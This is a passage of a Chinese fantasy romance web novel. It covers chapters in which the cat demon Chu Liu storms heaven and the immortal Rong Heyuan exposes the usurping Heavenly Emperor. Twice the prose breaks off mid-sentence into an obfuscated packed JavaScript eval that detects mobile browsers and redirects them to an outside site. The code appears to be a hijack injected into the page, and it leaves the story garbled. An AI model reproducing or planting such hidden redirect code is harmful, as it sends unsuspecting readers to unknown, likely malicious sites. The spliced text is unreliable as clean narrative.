阮眠声音凌厉地说道:“不错,你娘亲就是万妖之王,她根本就没有死,只是心甘情愿被压在海底镇守妖族,成为天帝的傀儡。你呢,你和你娘亲一样懦弱,窝囊,被骗得团团转!”她手腕翻转,手中陡然出现一个瓷白的药瓶,“九尾猫妖的血脉无比珍惜,又有万妖之王的圣物增益,她原本可与天帝一较高下,却自甘堕落,害得整个妖族都被肆意追杀抓捕。你不是最痛恨那些抓妖的神仙吗?现在我告诉你,你最应该恨的,就是你软弱无能的娘亲!” “你胡说!” 五脏六腑都冷的像是结冰,疼痛一点点从心脏蔓延到全身的每根血管,楚柳好似掉进了冰冷的井水里,全身都在打颤。 她通红的双眼织出血丝,掌心燃气绿色的幽光,咬牙切齿地向阮眠飞扑过去,像是要与之拼命的架势。 20. 第 20 章 南海如同咆哮的深渊,掀起万丈狂澜。 容贺渊悬立于不断翻搅的巨浪之上,一身白衣在腥咸的海风中猎猎作响。他脚下三尺,海水自动分离成一片无波的镜面,映出他手中雪白长剑的凛冽寒光。 百里之外,沈赋身后的黑色莲花仍在,越来越多的黑雾汇聚成形,凝出一头凶残狰狞的巨龙,龙尾甩过之处沉闷声响压过了骇人的惊涛。 “你就是魔尊。” 容贺渊的声音冰冷如霜雪,不是疑问,却是肯定。 正与楚柳缠斗在一起的阮眠突然看向这边,目光满是错愕,她整张漂亮的脸像是风干凋零的玫瑰,所有表情都慢慢消失。 楚柳也停住进攻,掌心莹绿的光满一点一点熄灭。 “这件事,你也知道?” “现在才知道,”阮眠很快就从震惊恢复了平静,她眉间的黑雾似乎一瞬间就散去了,“那又如何,我和他本就是毫无关联,萍水相逢,只是因为同命咒才走到一起,他越是厉害,我就越不用担心被他拖累。”她咬了咬嘴唇,“楚柳,你就当你娘亲已经去世了吧,我要做的事,你拦不住我们。” “你们?事到如今你还是更相信他?他明明骗……” 楚柳说到此处便闭嘴了。 若是说骗,他们四个又有谁是清白,除了—— 沈赋更加用力地握紧刀柄,手背的青筋都狰狞暴起,他挑眉看向容贺渊:“你又是什么时候知道?” 容贺渊抿着嘴唇,下巴轮廓干净利落得刀削一般,似乎不屑再与他对峙,神情冷淡道,“第一次看到这把刀时,我便认出你了,”他手中的剑映出雪白寒光,“七百年前,我与你交过手。” 楚柳蓦然收紧瞳孔。 容贺渊的神情如一潭死水,“你原也是天宫上仙,后遭历天劫,成了凡人,又坠入魔道,一路杀成了这魔尊。” 沈赋仍是笑着,眼神中却丝毫没有笑意:“这么说,你已经恢复记忆了。” 容贺渊并未答话,也根本不看去回应楚柳的视线。 沈赋像是觉得有趣,眼神闪烁微光,身后掀起十丈高的浪墙,“既然如此,那便不算我欺凌弱小。” 他继续笑吟吟地开口:“我倒想知道,今日的南海,会成为谁的葬身之地?” 这意思,不是你死就是我亡。 沈赋的眼皮垂下来,表情慵懒又傲慢,只是阴森森的眼神像是要把容贺渊剥皮剜骨。 下一秒,他挥舞手中燃着熊熊烈焰的魔刀向下横斩。一道漆黑刀气劈开海面,海水向两侧逃窜,露出深不见底的沟壑。刀气所过之处,生灵瞬间化为白骨,连浪花都染上腐臭的紫黑。 “砰——” 容贺渊虽不像沈赋那样放狠话,但从凝重的表情便能看出他也丝毫不敢轻敌。他剑尖轻挑,身前海水陡然立起千重冰墙。碎裂的冰晶尚未坠海,突然化作无数利刃射向沈赋。 海水疯狂回填,形成百米高的环形巨浪。容贺渊剑势一转,海水化作屏障从漩涡中冲天而起,每道都缠绕着闪烁的白光。沈赋挥刀入海,沸腾的浪涛里突然伸出无数黑色的巨手,鹰爪般将屏障生生撕碎。 破碎的水幕中,两人身影倏忽交错,又被翻滚的海浪遮挡。 五脏六腑像是正在慢慢地结冰,全身每个地方都长出了锋利尖锐的冰碴,连呼吸都会带来阵阵剧痛。 楚柳眼眶发红,怔怔地望着他们,最初的震惊让她体内气血翻涌,可现下却慢慢平静麻木。 脚下像是结冰,寒意仿佛攀附的藤蔓一点点缠绕上来,她微微发抖,眼底越来越冷,越来越暗。 竟然如此荒唐可笑。原来这里所有人都有秘密。 他们也会像她一样感到愧疚吗? “轰隆!” 可是还没等楚柳发问,天边却突然劈下一道惊雷。容贺渊与沈赋尚且未分胜负,却只见乌云翻涌,一道紫白色的闪电硬生生把他们劈开,天空仿佛破了一个窟窿。 穿着银白盔甲的三百名天兵穿过层层乌云从天而降,列阵而立,手中都拿着蓄势待发的兵器,在最前方是穿着金灿灿战甲的神仙,手中举起一把猎猎作响的旌旗。 “容贺渊,天帝命你即刻归来天宫,伏法认罪!” 他的声音如雷贯耳,手中旌旗一挥,震得周围云海翻涌。 “看来想要你性命的人倒是不少。” 沈赋收起身后围绕的黑色巨莲,脚下凶猛的巨龙也散成黑雾,懒洋洋地在一旁看戏。 那神仙的目光突然又看向他,语气中有一味警告,“既然你已经被贬下天界,便不要再插手天宫的事。” 沈赋双手一摊,还想和他再斗嘴几句,突然听到容贺渊声音平静地说:“我认罪。” 他收起了长剑,周身褪去戾气,挺拔的鼻梁和眉弓像是连绵的山脊线,俊美的侧脸没有任何表情。 “仙君……” 楚柳心脏猛地一跳,正因为“认罪”连个字不由觉得紧张,可目光紧紧盯在容贺渊身上时,却看到他腰间系的正是那颗锁魂珠。 在二人出发南海之前,锁魂珠便落在了容贺渊的手里,楚柳一直未曾在意。 ……原来如此。 他不会有事了。 不用再担心他。 容贺渊被带上镣铐押送上天宫之前,却是回头看了楚柳一眼。 “柳柳,你等着我,我会回来,”他的眼神十分复杂,说话的语气却是无比坚定。 是因为动情药吗?是了,因为吃下了动情药,所以即使恢复记忆,揭开真相,他也还是会爱她,也还是会说“你等着我,我会回来”。 明明这就是她想要的。 自己做出了选择,自然是要自己承担。 楚柳一阵脊背生寒冷,愣愣地望着仙君不断离他而去的背影,滚热的眼眶慢慢干涸,一滴眼泪也无。 “容贺渊……” 直到今日,楚柳才知道他的名字。 铅灰色的云飘在天空,南海附近没有山,只有一些嶙峋的怪石堆积出了一个空心的洞穴。仙君离开后,阮眠便拖着楚柳到了这里,她看着楚柳一连遭受这么多的打击,也不好再说出要去给她娘亲送药的事。 阮眠和沈赋都对“魔尊”身份这事闭口不谈,就好像这根本不重要。可是两人明显都能感受到对方的刻意回避。 从那天夜里开始,楚柳像是性情大变。她沉默寡言,总是呆呆地坐在一个地方,一动不动,漆黑空洞的眼睛中没有半点神采。 只是一整天的时间,却好像过了漫长的几千年。 就算恢复记忆后发觉自己被骗得团团转,也没有疯狂的仇恨,没有生气,没有怪她,没有要杀了她。 被那么多天兵包围说要带他回去“伏法认罪”时……还用温柔的,深情的,疼痛的眼神看向自己,说他会回来。 他真的能回来吗?——就算他想回来,天帝真的会放过他吗? ……至少锁魂珠已经还给他了。 楚柳闭上眼睛长长地叹了一口气,想到这一切都是因锁魂珠而起,却不知道该不该后悔。 如果没有偷偷跑到人间,没有自作主张地惩恶扬善,没有顺手拿走了那颗漂亮珠子,她就不会被卷入这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她抬起手腕,毅然决然地把整瓶药都吞了下去。药液苦涩腥臭,像是腐烂的植物和虫子的尸体做成,可她像是毫无感觉,一口气喝得一干二净。 阮眠的嘴唇都咬出了血痕,愧疚和自责好似缠绕的荆棘勒住脖颈,她用力深呼吸,近乎哀求地低声说,“柳柳,我陪你一起去。” “我既然已经吃了这药,怎么还要监视我?”楚柳淡淡一笑,“不必,你想要的,我会帮你得到。” 阮眠脸色惨白,全身的气血翻腾,摇摇欲坠,张了张嘴却又发不出声音。 无边的痛楚漫延到全身,好像身体内正在山崩地裂,却没有任何倾泻的出口。 半晌后她才虚弱地点头:“好……那你保重。药效会在半个时辰之内发作,到时你便可只凭自己闯入天宫……我的确也帮不上你什么。” 阮眠声音很低,像是整个胸腔都被冷风穿透,声音也被吹散了。她说完这些便收起空空的药瓶,义无反顾地转身离开了山洞。 待到她的背影越来越渺小,一直沉默低头的沈赋小声对楚柳说道:“阮阮说的那些狠话,并非她的本意,你可看到她眉间的黑雾?……这是走火入魔的前兆,就像当初的我一样。” “你们的事,与我无关。”楚柳不为所动,冷冷地看向沈赋,“她是因为你才如此。” 沈赋的脸上第一次有颓败和懊悔表情。好像打赢了一场胜仗,但却在战斗中不知不觉失去了所有珍视的东西,赢得毫无意义。 他握了握拳头,声音沙哑地说道,“我会救她。” 21. 第 21 章 容贺渊手腕戴着封印仙术的镣铐,一路被押送进戒备森严的天牢。此处以玄铁锁链缠绕万载寒冰砌成,阴冷肃穆。 可是在快要接近正门时,他却突然停顿住脚步。 他见过这里。 天牢分为三个等级,此处是等级最高,看守的天兵数量最多,也是最难逃出的牢狱。他作为执法仙君的这些年正直清白,从来没踏足过此处,为何会感觉如此熟悉?…… “神君,进去吧。” 牢门“吱呀”一声打开,容贺渊收起疑虑,抿着嘴唇走进阴冷的牢房中,门口守卫森严。 在牢门再次关上的时刻,他猛地睁大了眼睛。 这是他记忆中陌生的地方。就是在这里,年幼的自己被一个老人抚摸过脸颊,听到了那一声悲怆的“你要报仇”。 在对面的牢房内,站立着一个衣衫褴褛的男人。能被关押在这样森严的牢房之中,也就只有玄鹤神君。传说他是因不满天帝赐婚,无论如何也不肯与神女成亲,天帝勃然大怒,把他关在这里整整七百年。 玄鹤神君许久没有与人交谈,今日见了容贺渊却是兴致勃勃,“天牢多年没有关押过像你这样厉害的上仙了,我记得上次还是一千年前的伏魔神君,也是降妖除魔的将军。” “伏魔神君?”容贺渊皱眉,奇怪的是他对这伏魔神君却是毫无记忆。如果对方当真同自己一样是天宫的将军,他又怎么会从来没听说过这人的名字? 他思索着怎么才能套到更多的话,故意疾言厉色道,“他怎可与我相提并论?” “你也听信谗言,但他绝不是叛徒!” 玄鹤神情激动,落寞地笑了笑,似乎是在嘲笑容贺渊,又更像是在自嘲,“狡兔死,走狗烹,你们最后都会落得一个下场。” “一千年前的天帝并不是这位,只是传说他与魔道勾结,所以新帝继位后,第一件事就是杀了这老将军。” 他断断续续地讲了许多往事,容贺渊也慢慢地把这些事件都串联起来,听到“老将军”三个字是眉头微微一动。 “那位伏魔神君…可是满头白发?” 玄鹤点头道:“是啊,那位上仙是从先帝继位时就辅佐在侧,也是快到了寿终正寝的时限。” 容贺渊神情淡漠,眼眸暗沉。 他有些迷茫,像是快要触碰到某个期盼已久的真相,又被打了回来。 他在天牢被关押了一夜,次日等来的是抓捕他回来的金盔仙君,面无表情地说,“天帝召见,命你即刻到神殿。” “是。” 还有这么多的疑问没有解开,容贺渊不敢轻举妄动,便顺从地被带到了神殿。 白雾般的仙云之上,天帝身着九龙金袍、头戴冕旒,周身环绕着九条金龙虚影,手执能调动所有神仙,至高无上的仙杖。他表情威严冷厉,骨节分明的手指正把玩着那颗湛蓝色的锁魂珠。 那灵珠在他手中只像是个平凡无奇的宝石,可是容贺渊记得,当初得知锁魂珠坠下凡间,天帝震怒,当场下令砍杀了玩忽职守的天兵。 “许久不见,倒是有些面生。” 天帝缓缓开口,声音带着上位者的压迫感,他闭上眼睛,在合住眼皮的瞬间,锁魂珠突然微弱地亮出幽幽蓝光,如同深海中被惊扰的水母。 容贺渊的识海却是混沌如雾。 天帝紧紧皱眉,他还从来未遇到过这样棘手的情况,不知究竟是何原因,他无论如何都没有想到。 ——这一刻,容贺渊正在恢复,那些被抹除的记忆。 锁魂珠最重要的功能便是“储存”,不管是楚柳的妖力还是容贺渊的记忆,从来没有被剥夺过,只是储存在了这颗小小的灵珠之内。 锁魂珠中还储存了前天帝的灵魂碎片。正是这碎片使得灵珠仿佛有了“意识”,能够控制在什么它认为适当的时候,把储存在内的东西一点点还回。 当初天帝正是怕这颗锁魂珠储存了那段篡位的历史,才费尽一切方法要将其消灭。可谁知这灵珠水火不惧,无论怎么都没有被损伤半分,因此只能派天兵日日看守,却没想到还是出了差错。 不过如今,到底还是回到了他的手里。 天帝的掌心之内,锁魂珠微微颤动,冰蓝色光芒忽明忽暗,宛如呼吸。 无数碎片般的画面如潮水般涌入容贺渊的脑海,年幼时天宫的那场浩劫,像是又一次出现在了眼前。 坐在天帝之位的是他的父亲,却被魇妖吞噬了神志,成了一具没有意识的枯壳。 “我要你向众人宣布,放弃天帝之位,投身炼狱,永世不得超生。” 容贺渊尚且年幼,偷偷躲在雕梁画栋之后,看着他父亲重复了这些话,跌落进炼狱黑洞。 金碧辉煌的宫殿轰然倒塌,血染云霞,他亲眼看着父亲在黑洞中被凶残狰狞的黑色猛兽生生吞食,肉身和灵魂都被撕成碎片,一小片魂魄仓皇失措地躲藏进锁魂珠内。 那面带微笑的魇妖变作一团遮天蔽日的灰影,风卷残云般包围住神殿上的宝座,慢慢化作现任天帝的模样。 记忆到这里戛然而止,一切都想起来了,伏魔神君手掌抚摸过他的侧脸,“你要报仇”——报的就是这杀父夺位之仇。 那针扎似的疼痛,并不只是因为神君粗糙的掌心,而是因为在那时神君抚去了他的记忆,以狸猫换太子的把戏用一具别处找来的尸体当作惨死的遗孤。而他被花神收养,顺理成章在选拔中脱颖而出,成了执法仙君。 容贺渊的眼神有片刻迷茫,但很快变得冰冷凛冽,一如从前冷血无情的模样。 “卑职知罪。” 天帝能探识到别人的神志,知道对方在想些什么,可是不知为何,容贺渊的意识他却看不见。 也许是因为有过失忆,现在还没有完全恢复神识。 “一句知罪,难道就想让我放过你?” 天帝双眸微睐,不怒自威,底下的仙君都战战兢兢,连大气都不敢出。 “你既然已经恢复记忆,为何迟迟不拿了锁魂珠回来?” 容贺渊默不作声,却在思考对策——若是此事与天帝公然叫板,他全无胜算,只能想办法重新得到天帝的信任,再接近他,让他交出至高无上的仙杖。 可是现在天帝非但对他猜疑忌惮,还处处提防,又怎么会有机会? 天帝正要再问罪,却听到远处一阵骚乱。神殿之外传来破空之声,伴随浓重杀气。 “报——不好了!不好了!九尾、九尾猫妖杀进天宫了!” 天兵跌跌撞撞地跑进来,踉跄地扑倒在地,张口便呕出了一滩鲜血。他浑身是伤,再没有多说一句便断了气息。 “什么!”天帝勃然震怒,手掌用力拍向白玉桌案,“还不快去捉妖!” 一队队天兵天将从四面八方涌来,刀光剑影中,楚柳双眼如同一潭死水。她的指尖长出细长锋利的指甲,五道绿光挥过,冲在最前面的天将瞬间被分尸。下一刻狂风骤起,将数十名天兵卷入高空又重重摔下。 楚柳就这样踩着一地神仙的尸骸和残魂,一步步走到了金碧辉煌的神殿前。 天帝的眼底浮现起愤怒的杀意,似乎他也没有想到,仅仅是一只猫妖,却把这整个天宫搅得天翻地覆。 “我的目标只有一个,你们还要再上来送死吗?” 其他严阵以待的天兵天将听到这句,均是面露迟疑,终究不敢贸然上前送死,犹豫地把目光投向了坐在神殿之上的天帝,还有正在被诘问的昔日执法仙君。容贺渊抬手作揖,“卑职请战。” 这倒是一个最好的时机——只需要演一出戏。 他需要得到天帝的信任,只有这样,在千钧一发之际天帝才会走投无路,把仙杖交付给他。 楚柳踏着轻盈的步伐走过金色大门,身后是数十具残缺不全的天兵尸体。 她凌空而立,神色凝重,黛绿色的披风在风中猎猎作响,九条雪白的长尾破体而出,在她身后如孔雀开屏般展开,每一根毛发都散发着莹莹绿光。 “原来是昔日妖王的女儿,”天帝冷笑,声音不带任何感情,"九尾猫妖一族竟未绝迹,看来当年还是留下了余孽,狡猾奸诈,被镇压在南海还不死心。” 楚柳在神殿之外听到这句话,眼中燃烧着冰冷的愤怒,九条尾巴如九条白色巨蟒在空中舞动,所过之处,死伤不计其数。 当初药效发作的那一刻,体内仿佛有千万把利刃在切割她的经脉,又似有烈火在焚烧她的五脏六腑,沉睡已久的力量正从血脉深处苏醒,断掉的尾巴在剧痛中重新生长,所有痛苦她都硬生生挺了过去。 一路厮杀到神殿,为的就是杀掉天帝,让妖族不再成为他们可以随意做成仙丹的祭品。 可是楚柳却没想到,在神殿之上见到的却不只是天帝,还有容贺渊。 目光相撞的瞬间,两人皆是一怔。 容贺渊神情疏离,声音冷如冰锥,与失忆时判若两人,“还不束手就擒。” 楚柳瞳孔骤缩,全身的血液仿佛凝固,像是一瞬间回到了半年前的夏夜,她听到的也是这句。 大胆猫妖,还不束手就擒。 楚柳呆呆地看见容贺渊双眸的寒霜,那是初遇他时的眼神——没有温 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“不必担心,”天帝看向容贺渊的目光含着轻视和嘲讽,“只要你还在这神殿,那些邪祟之物都不会起作用,等到日后也有法可解。” 楚柳听了这句却是无动于衷,甚至向上勾了勾嘴角,微不可闻地轻笑道:“这样也好。” 她强行咽下嘴里浓郁的血腥味,压制着发热的眼眶不要掉下泪水,脸上始终维持着冷淡的笑意。 再铁石心肠的人看到她的样子都会动容,可是偏偏她最在意的那个,却是冷眼旁观。 “如此一来,就算我们两不相欠。” 楚柳微微垂下头去,额前垂落的黑发遮住眼底的情绪,再一抬眼,眸中只剩下杀意。 容贺渊呼吸一窒,脸上清心寡欲的表情几乎不稳,险些露出破绽。 什么叫“这样也好”,什么叫“两不相欠”?……可这明明是他现在需要的局面。 “如你这般无耻的妖怪,我怎么会动心?”容贺渊的眼神故作厌烦,他看向楚柳的脸,心头突然有些发闷,匆忙移开视线。 倒像是真的吃了动情药,每次对楚柳恶言相向,心脏也会阵阵抽搐似的疼痛。 可是明明别过头去,眼前却还是有楚柳的样子,仍是那张秀气的脸蛋,乌润滚圆流光溢彩的猫眼,唇红肤白,笑起来灵动又可爱。 楚柳沉声说道:“我只杀天帝,你让开,我保证从今以后绝不会再纠缠你。” “休想。”容贺渊握紧拳头强行压住身体深处复杂的情绪,字字清晰,“捉妖是我的天职。” “说得好!” 天帝对他全然信任,当场高声宣布旨意,恢复容贺渊的执法仙君之位,仍是率领天兵捉妖的将军。 “咻!” 容贺渊挥袖掷出缚妖索,一道横贯天地的金色光刃向楚柳斩来,金绳瞬间缠住她的脚踝。 楚柳甩动猫尾挣开束缚,速度快到肉眼难辨,九条尾巴如九条白色蛟龙,径直刺穿了一个正欲偷袭的天兵的身体。 忽然“咣”的一声,在楚柳侧身翻滚时,从她身上掉出两只栩栩如生的泥人。 泥人滚落在地,正是她和仙君的定情信物,可是下一秒,容贺渊手中的长剑闪过寒光,只听“砰”的声响,那惟妙惟肖两只泥人顿时被震碎成粉末。 指尖的温度一点点冷下去。 震碎的好像不只是泥人,还有她的心脏。 一瞬间天旋地转,她阵阵晕眩,整片胸腔都好像在刮着凛冽如刀割的飓风。 容贺渊神情也是一愣,他下意识以为楚柳放出的是暗器,却没曾想到是这在人间买到的这两只泥人。 忽然想到那天从夜市回到客栈,两人在院子赏月,楚柳问过他是否有愿望。 “我希望,柳柳能永远幸福,这就是我的愿望。” ——他们的愿望都不会实现了。 天帝还遥遥坐在神殿观战,容贺渊不敢暴露,咬紧牙关,又挥出了一道寒冷的剑光。 空气中有皮肉烧焦的味道,熟悉的灼痛感传来,楚柳倔强地咬住嘴唇,一切都回到了最初——但这次她却不是只能任人宰割的猫妖。 楚柳双眸微眯,神情冰冷如数九寒天的冬雪,之前她一直对容贺渊的攻击只躲避却不还手,如今看来,却再也没有一退再退的必要。 胸口空落落,却是不会痛了,只有一片冰冷的麻木。 她的九条尾巴同时竖起,全身毛发炸开一瞬间击退了前方几百个天兵,绿色妖光所到之处,只剩一片哀嚎。 22. 第 22 章 金碧辉煌的宫殿在缭绕的云雾间若隐若现。 容贺渊立于一片破碎的浮云之上,白衣胜雪,眼眸明亮锐利,五官浑如刀刻。他手中神剑泛着清冷的寒光,好似凝着一层千年不化的霜。 楚柳的动作越来越快,突然决绝地纵身后跃,九条尾巴如屏风般展开,汇聚出一道亮得刺眼的绿光。 “砰!” 容贺渊执剑一挥,两股毁天灭地的力量在半空相撞,却没有发出任何声响。空间仿佛在这一刻凝固,紧接着便是“轰隆”的巨响。 那只断后又重新长出的猫尾比另外八条更为灵活,趁着容贺渊一心正面对抗,如锁链般横扫过天帝的身前。 “你拦不住我。” 楚柳重重咬字,眼神落寞又决绝,她周身的妖力突然又增加了一倍,硬生生把容贺渊逼得接连后退,最后竟是被困在了神殿的死角。 “……你如此这般肆意消耗妖力,自己也撑不了多久,”容贺渊眉头紧皱,声音听不出是威胁还是担忧,“就算能撑到最后……” “死又如何。” 楚柳的声音轻如落叶,却像是含有深深的疲倦。容贺渊听到这四个字,心尖的痛楚却是一寸寸蔓向全身。 又是一番惊天动地的打斗,容贺渊的剑都快要握不稳,再一次节节败退。他的脸色惨白如纸,脖颈上青筋狰狞跳动,冷汗涔涔,嘴角又渗出猩红的血迹——再这样打下去,仙魂怕是要碎了。 天帝一直在旁观战,顿时变了脸色,亲眼看着就连容贺渊都在这九尾猫妖手下惨败,心知整个天宫再也没有神仙是她的对手,不由暴跳如雷。他猛地将手中的仙杖掷于容贺渊,急得额头暴起青筋,拧眉高声喊道,“用这个!废了她那一双爪子!” 容贺渊嘴角溢出的鲜血越来越多,眼底却陡然一亮——赌对了。 那仙杖在天帝手上不过是个没有任何用的装饰品。 天帝根本不能驾驭这根仙杖——因为他们天帝根本不是仙。 他不过是前天帝养在身边的一只魇妖而已,生了背叛的心思,又利用前天帝收留他的善心夺走了天帝之位。但他本就没能修炼成仙,根本无法驾驭至高无上的天宫仙杖,渐渐心思阴暗扭曲,恨自己是妖怪,到恨全天下所有的妖怪。 这么多年的捉妖之战,不过是妖族内部延续了几千年的自相残杀而已。 “你竟然敢背叛我!——” 天帝说到“背叛”两个字时,神情却是陡然一怔。眼前的一切都无比熟悉,像极了千年前他苦心孤诣搅动的那场战乱。只是那时他意气风发,如今成王败寇,却是他成了阶下囚。 他原是妖梦首领之一,以圣物诱惑妖族自相残杀,原本想让自己亲信夺得万妖之王的位置,没想到最后却是九尾猫妖拔得头筹。但倒是没有影响他的计划一步步顺利进行,佯装受了重伤被天帝带回收养,趁其不备入侵神识,让天帝心甘情愿地把仙杖交出来。 除了零星几个亲信,没有人知道他的真实身份。 容贺渊拿起手中的仙杖,顿时感受到蕴藏在其中无比深厚的法力,但他却对此丝毫没有执念,只是目光看向瘫倒在的魇妖时神色一凛,一双墨眸愈发深沉,“你自己作孽,今日便自己偿还。” 仙杖瞬间迸发出万丈光芒,天帝瘫坐于神位,只是转瞬的时间肉身便灰飞烟灭,化作了一堆森森白骨。 众仙哗然,原来一直大肆捉妖的天帝,真身就是一只谋权篡位的魇妖。 神殿内剩下的神仙皆对容贺渊臣服朝拜,依照天宫律法,谁拿到了这至高无上的仙杖,谁就会被尊为天帝。 可容贺渊只是神色淡淡吩咐道:“去牢中放出玄鹤神君,我无意留在此处,这位置还是给他来坐最为合适。” 天牢的相遇绝非偶然,玄鹤神君被关押在那里也绝不是因为抗旨悔婚,大概只是因为他是为数不多知道当年真相。天帝又忌惮他位高权重,没有理由直接杀掉而已。 玄鹤神君故意对他说出那些,只是想旁敲侧击地让他想起那些事——只是最后倒没有那么麻烦,若不是天帝故意在他面前把玩那颗锁魂珠,容贺渊也不会就这么恢复了被抹除的记忆。 “是,那这九尾猫妖?……” “我来处置。” 容贺渊薄唇紧抿成一条直线,那张脸上看不出任何情绪,唯有眼底深处藏着无人能察的波澜。 …… “柳柳。” 楚柳手抖得厉害,妖力快要用尽了,九条雪白的尾巴在身后虚弱摆动,她的九尾形态也维持不了太久。 一颗心空荡荡,痛到极致,便已经不会再无法忍受了,反倒是觉得麻木习惯。 还要不要相信他? 身体却没有任何犹豫,颤巍巍的手指,本能般地握住了他的手。 “我拿到了天帝的仙杖,”容贺渊看向楚柳惨白的脸色,心底一软,目光坚定道,“他已经形神俱损变为一堆白骨,玄鹤仙君会成为新一任天帝,从此再也不会有捉妖的天规了,柳柳,你娘亲也不用再苦苦镇守在南海之下。” 楚柳却并未流露出开心的神情。 “好,”她轻描淡写地点头,说话的语气也是云淡风轻,“既然你我都得偿所愿,也算是皆大欢喜,”容贺渊刚露出一点喜悦的神色,就听到楚柳断断续续地接着说道,“之后你继续做你的神仙,我继续做我的妖。” 往日种种,就当是她痴心妄想做的一场美梦。如今梦醒了,自然是要回到该回的地方。 …… 容贺渊咬了咬牙,脸色微微扭曲,手指在身侧越捏越紧,骨节发白,“方才我是在骗他……” 心脏像被一只锋利的鹰爪狠狠揪住绞拧,他疼得连手臂都在微微颤抖,握住楚柳手腕的力气却没有半分放松,像是只要松手就再也抓不住。 楚柳咽下涌到喉咙的鲜血,闭了闭眼睛——阮眠说过,这药能觉醒九尾猫妖的血脉,她可以在极短的时间内妖力得到最大提升,但是到底是旁门左道,不是自身的修为,一旦过了那段时间,就会恢复到原来的样子。 “不必说了,”楚柳身上像是沾了薄霜,冷得颤个不停,气若游丝地轻声道,“我没有怪你,我已经说过了,我们两不相欠。” 视线有些模糊,她却是没有泪水,只是阵阵头晕。 快要没有时间了。 在她彻底晕倒时,却是被一双结实有力的手臂牢牢接住,又被抱了起来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15693338|173381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她失去意识,魂魄像是跌落进了幽深漆黑的地方,可是只要不在充满厮杀和血腥之气的天宫,不再面对这那张脸……无论在哪里她都觉得安心。 漆画屏风之后,正是容贺渊从前的居所,到处整洁干净纤尘不染,却透着冷冰冰的感觉。 他小心翼翼地把虚弱不堪的楚柳抱到床榻之上,丝毫不在乎楚柳一身血污把洁白柔软的被褥浸得殷红,此处只有他们两个,容贺渊双眸紧闭手腕翻转唤出体内的仙魂,专心致志地输送法力为她疗伤。 “嗯……” 过了不知多久,楚柳终于微微挣扎地恢复了神志,可她重伤未愈,仍是未能彻底清醒。 容贺渊却是长舒了一口气,他输了这么久的法力,自己也是筋疲力尽,却是现在才感到疲惫。 只要楚柳还有救就好。 他在床边静静地坐了片刻,突然想到了什么,从桌旁的柜子里拿出一个方形的乌木盒,打开锁扣,里面赫然出现一只色泽剔透饱满的镯子。 “柳柳,这个重新算作我们的定情信物,可好?” 容贺渊低声道:“这是我养母的遗物,也是我唯一珍藏的物品。我自由被花神抚养长大,这原是她的手镯,临终时赠予我,说要留给我日后的意中人。” 他的声音轻柔缓慢,楚柳气息微弱,苍白的脸上没有半点血色,只能依靠他传送来的仙气才能勉强半睁着眼皮,也不知听懂了没有。容贺渊眼眶一阵潮湿,忍住心痛慢慢把镯子套在了她纤瘦的手腕。 容贺渊想到年幼时的事,花神对他自然是很好的,抚养他长大,又尽心尽力教会他最厉害的仙术——只是总觉得并没有那么亲密,不像是母子,更像是师徒。 神仙也会有感情,容贺渊总觉得自己比别人缺少了七情六欲。他从来没有孤独寂寞过,直到遇见楚柳之后,回想起从前当神仙的日子便有些抵触。倒也不是说不好,只是想到了会觉得冷。 容贺渊经历两次大战,又一次传输了太多的法力,身体摇摇欲坠,终于抵挡不住虚脱地倒在了床边,他的侧脸枕着楚柳柔软的掌心,也许是因为晕眩,眼前像是突然出现了漫天星辰。 就像在人间的那晚,乌云遮月,楚柳说想看,他便施法变出了璀璨明亮的繁星。 容贺渊心跳快如擂鼓,像是到了气数将尽的时候。 他微微侧过脸,嘴唇贴着楚柳的手心,他的声音微微沙哑,语调却温柔如水,像是含着无尽的情意。 “若是能和你做人间的夫妻也好,不用卷入这些打打杀杀,只需要顺应天理,生老病死……就像客栈的老板和夫人那样,成为结发夫妻,恩爱两不疑,白首到老。” 容贺渊揉了揉她的脊骨底端,九尾褪去后,那里便多了一道狰狞的伤疤,看着触目惊心。 他神情难掩心疼,低声说道:“等你伤好了,你想去哪里,我们就去哪,直到死亡,不会再有任何事能让我放弃。” 夜空漆黑如墨,阴雨绵绵,星光和月都被遮挡得严严实实,南海仍是汹涌澎湃,远远望去就像是一只蛰伏的野兽张着血盆大口,面目阴沉狰狞,在一片森冷的死寂中等待猎物出现。 这是阮眠走火入魔的第三天。